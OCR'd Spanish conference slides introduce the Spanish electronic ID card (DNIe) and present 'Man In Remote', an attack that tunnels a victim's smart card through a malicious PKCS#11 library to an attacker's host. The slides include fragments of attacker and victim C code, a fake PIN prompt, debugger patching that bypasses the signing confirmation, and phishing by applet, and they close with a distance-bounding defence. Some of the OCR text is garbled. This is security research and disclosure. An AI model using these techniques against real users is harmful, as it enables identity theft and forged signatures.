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¢ Introduccion al DNle

e Microprocesador genérico

e Criptoprocesador

 Comunicaciones via puerto serie
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¢ Introduccion al DNle

e Sistema Biométrico: Match On Card

e Certificado Autenticacion

e Certificado No Repudio

e Certificado Componente
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¢ Introduccion al DNle

e PC/SC
— Integracion de SmartCards en PCs
— APl de comunicaciones
— Multiplataforma
— Funcionalidad
* |nicializacion
e Gestion de Lectores

e Conexion / Estado
e Envio de comandos (APDUs)
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¢ Introduccion al DNle

e Canal Seguro
— Norma UNE 14890
— Utilizado para cifrar los comandos
— Ambos extremos se autentican mutuamente

* Intercambian claves publicas
e Autenticacion

e Derivacion de claves del canal
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& Introduccion al DNle

e CSP

Aplicaciones

v
— Propuestas de Microsoft e —

— Extensiones a la CryptoAPI i
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& Introduccion al DNle

e PKCS#11
— Estandar creado por RSA Aplicaciones

(http://www.rsa.com/rsalabs/node.asp?id=2133) ‘l'

— APl genérico para acceder a - PKCSHIT

crypto-devices

— Token como unidad de acceso

— Gestiona varios objetos

Lector
e Claves Publicas, Privadas DNle

e Datos y Certificados
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¢ Introduccion al DNle

e Autenticacion en Servicios Web

— Applet Java

e Mas Intrusivo

— SSL + Certificado Cliente

e “Transparente”
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¢ Introduccion al DNle

 Applet Java
— Se necesita la descarga de un Applet Java
— Apareceran mensajes de seguridad

“Advertencia - Seguridad

@GabrielGonzalez gabriel@intelligentrd.com



& Introduccion al DNle

[ DNle J [ Navegador ] [ Web Server } [ OCSP J

Init Session

Get Client Cert

Validate PIN

Get Auth Cert

===

Sign Msgs

Validate Cert
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¢ Introduccion al DNle

e Seguridad
— Sensores de alimentacion
— Deteccion de glitches
— Capa metalica de pasivacion
— Deteccion cambios de frecuencia del reloj
— Deteccidon cambios en la tension

e Nivel EAL4+
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¢ Man In Remote

e Motivacion

e Definicion

e Descripcion

e Demo
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¢ Man In Remote

e Motivacion

— Sistemas que utilizan Dispositivos Fisicos

— Duplicacion

— Autenticacion Remota
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< Man In Remote

 Definicion

Permite hacer uso en vivo de |las
funcionalidades proporcionadas por un
dispositivo de seguridad en un Host diferente
del que esta instalado
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< Man In Remote

e Descripcion: Actores

— 48Banks 52 4 8banks

— La Nuri 4B hile
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¢ Man In Remote
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¢ Man In Remote
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¢ Man In Remote

2 48banks
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¢ Man In Remote

e MIR - Atacante

— Libreria con Interfaz PKCS#11

— No realiza operaciones locales

— Interfaz de un Objeto Remoto
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¢ Man In Remote

e MIR - Atacante

1. Empaqueta Datos

2. Invoca Operaciones

3. Desempaqueta resultados
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¢ Man In Remote

e MiR - Victima

— Cliente de la libreria PKCS#11 valida

— Espera peticiones del atacante

— Objeto Remoto
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< Man In Remote

e MiR - Victima

1. Desempaqueta Datos

2. Invoca Operaciones en la libreria PKCS#11

3. Recoge resultados y los Empaqueta de vuelta
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& Man In Remote - Attacker’s Src

CK_DEFINE_FUNCTION(CK_RV,C_lnitialize)(...)

{
#ifdef REMOTE_PKCS11_

{
DataMarshalling *d = NULL;

[..]

if (connect(client, (struct sockaddr *)&sock, sizeof(sock))
== SOCKET_ERROR) {[...]}

d = new DataMarshalling(client);
d->setMsgType("C_Initialize");
d->packint((char *)&a);
d->sendData();

delete d;
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& Man In Remote - Attacker’s Src

InicializarFunciones("UsrPKCS11.dll");
rv = pFunctionList->C_ Initialize(pInitArgs);
#endif

#ifdef DEBUG_PKCS11
fprintf(fout, "C_Initialize ret: %d\n", rv);
#endif

exit:
return rv;

}
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& Man In Remote - Attacker’s Src

CK_DEFINE_FUNCTION(CK_RV,C_OpenSession)()
{
CK_ RV rv =CKR_OK;
DataMarshalling *d = new DataMarshalling(client);
d->setMsgType("C_OpenSession”);
{
/*
* Open session
*
unsigned int sessionld = 0;
DataMarshalling *d2 = new DataMarshalling(client);

d->packint((char *)&slotID);
d->packint((char *)&flags);
d->sendData();
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& Man In Remote - Attacker’s Src

d2->recvData();

If (strcmp(d2->getMsgType(), d->getMsgType())) {
rv = CKR_CANCEL;
goto exit;

}

rv = d2->unpackint();

sessionld = d2->unpackint();

delete d2;

*phSession = sessionld,;

}
delete d;

return rv;
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& Man In Remote - Victim’s Src

} else if (Istrcmp(d->getMsgType(), "C_OpenSession™)) {

slotld = d->unpackint();

flags = d->unpackint();

{
DataMarshalling *d2 = new DataMarshalling(client);
/*
* Opening session
*
ret = C_OpenSession(slotld, flags, NULL, NULL, &sessionld);
d2->setMsgType(d->getMsgType()):
d2->packint((char *)&ret);
d2->packint((char *)&sessionld);
d2->sendData();
delete d2;
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¢ Man In Remote — Video Demo!

Seguridad Social

Web

SOEEs -[ PKCS#11 I—

[ PKCS#11
Tunneling

(

\_ MiR ()
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¢ Man In Remote

e Problemas

— Obtencion del PIN

— Confirmacion al realizar Firma Electronica

— Infeccion del dispositivo objetivo
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¢ Man In Remote

e Obtencion del PIN

— Mostrar Ventana Idéntica

.| Introduzca el PIN

Aceptar Cancelar
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¢ Man In Remote

e Confirmacion al realizar Firma

ks *  Estdapunto de realizar una firma electrénics:
e+ consuclave de FIRMA del DNI electronico

- jDeses pefmitir esta operacian?

b Aceptar ] | Cancelar
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¢ Man In Remote

e Confirmacion al realizar Firma

% Ollybhe - phes11-tib.dil - [CPU - main thread, module pkes11-1]
@Hle Wisthy U:ahuq F'}ugm Gptlo f -

ac
EZ

&R B4
2040 F@

SESS 03

8B40 ES
ES C139F3FF

LEﬂHEF!X. DUGRD

ERx

C#, DWORD

Dy DWORD
HDU ECH, OWORD
0l ERY, DWORD
CALL EA:
MOU DWORD FTR
MOY ECH. DWORD
FUSH_ECH

Eg SI74FEFF CALL chsll—l

FPUSH EAX

TEEF3IFF CALL pkosil-l.

TEST ER, EAX

R
DWORD FTR

ISARAREE ERK. 5
B EBROBDEEE

ECK, DWORD

5040 _Fa
ES 423EF3FF CF!LL [
Cv45 FC

MOY DWORD PTR
PUSH 4

LER ECH, DWORD
HMOY_EDX, DWORD

CHF - OWORD PTR El 41,8
JE SHORT phkesll-l. 18178048

FTR 5%: [EBF-14]

P% .SS [ BP—QS]
PTR 83 [EBP 28]
PTR D5t [EDK+58]1

551 [EBP-138],EAR
FTR S5: [EBF+8]

PTR 551 [EBF-181]
« 18BACEES

108E81ED
188B1617
172046

DS: [EDR,EAR

chsll—l 1817SERA
SHORT chsllElSIBI?SCFD

531 [EBF-181
18BACES2
55: [EBP-41,8
FTR S5:[EBP-181

PTR S5: [ERP-231

9E4CH=pkcsll-1.

DL MalnCRIStartup

4 IQQPFEIC: il

BBBSFBE‘4
BABEF SES
BADAA0E L
1BBACECE pkosll-l.<ModuleEntryPoint
ES @823 22bit @i FFFF
CS @BlE 22bit
S5 BE2E 22bit

FFF1
DB FFF]
G5 BB8a

LastErr ERROR_MOD_MOT_FOUMD [ GEEGEEET)
BaBegzEz2 (HO, ME, NE, A, NS, PO, GE, §)

empty —UMORM BOEC 81850164 08088088
enpty B,

empty
empty
empty
empty
empty
empty

3 2 1
4828  Cond
BzZ7F  Frec NEF!R =

RAddress |Hex dump

BBBSFBEC

RETURH Yio ntdll. FCI1118A

pkosll-

pkosll-Ll.<ModuleEntryPoint

RETURH to ntdll.7PCR2BSDE from ntdl
chsll—{ - 4HoduleEntryPoint >

pkosll

pkosll-l.1 [l]

Entry point of debugged DLL i | Pauzed
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¢ Man In Remote

* Infeccion Dispositivo Objetivo
— User-land sin privilegios
— Ingenieria Social

— Exploit
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& MiR Reloaded

 Thanks Java!
e Security Warning

“Ndvertencia - Seguridad

ey

Java ha detectado componentes de aplicaciones que
podrian denotar un problema de seguridad. |i|

Mombre:

tBesma impedir |la sjecucion de compopentes gue son:potencaalmente o sequres fopodn recomendada 7

Mas infarmacoe..

e

Pangaze en-contacka con'el peoveedar del3-aplicacion pars ssagiparse de que no'se haya

I l:'l Ls aplicacién confiens cadign sin frmar y Armada.
\
|l_:.. a.ltﬁr-ﬂdﬂ|
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& MR Reloaded

e Java Version

— Sun PKCS#11

— Distribucion como Phishing

— iframe + applet

@GabrielGonzalez gabriel@intelligentrd.com



& MiR Reloaded

 Hasta ahora hemos conseguido

— Autenticarnos remotamente
— Firmar Remotamente

— Atacante con PIN puede usar nuestro DNle
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& MiR Reloaded

 Segundo método de autenticacion: Applet

— Firmar un Token
— Enviar token firmado en una peticion Post
— No se necesita tunel pkcs#11

— Enviar token y devolverlo firmado
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@ MiIR Reloaded

1, o 180 11 =Y
wr Ll
Y TG

Web Browser

<form>
<input id="token”
value=“903234">
</form>
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& MiR Reloaded

¥ 48banks

: O\
// Web Browser \ )
4 )

<form> ]
<input id="token” 1 Token Phishing /
value=“903234"> Trojan

</form>

2 Signed Token
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& MiR: Solucion

e “Untrusted Terminal Problem”

* No podemos confiar en el PC

e El servidor no puede verificar nada extra

e Las Smart Cards no son tan “smart”
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& MiR: Solucion

e Solucion basada en tiempos de respuesta
“Distance Bounding Protocol”
Tiempos fijos de procesamiento

Latencia de la red

Se consigue abortar un posible ataque
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& MiR: Solucion

‘tRl tRz tp(Rl) Coca

N
Local
Processing

J
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& MiR: Solucion
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& MiR: Solucion

=1

\t

Ry tRz P(Ry) Flioca

tl
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I
tR2 =1 local + 2tR‘I‘I’

P(R)

tl
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& MIR: “Is this real Life?”

* Noticias sobre ataques similares

— http://www.itworld.com/security/134958/smart-
cards-no-match-online-spies

— http://news.cnet.com/8301-1009 3-57358666-
83/chinese-hackers-targeting-smart-cards-to-grab-
u.s-defense-data/

e http://www.gabrielgonzalezgarcia.com/2011/
04/18/man-in-remote/
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& Extra Seguridad DNle

e RootedCon 2012 José A. Guasch & Raul Siles

e HttpOnly
e SSLv2

e Complementos Vulnerables
— Applets Java de acceso al DNle

e https://www.owasp.org/index.php/Spain/Projects/DNIe
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Man In Remote
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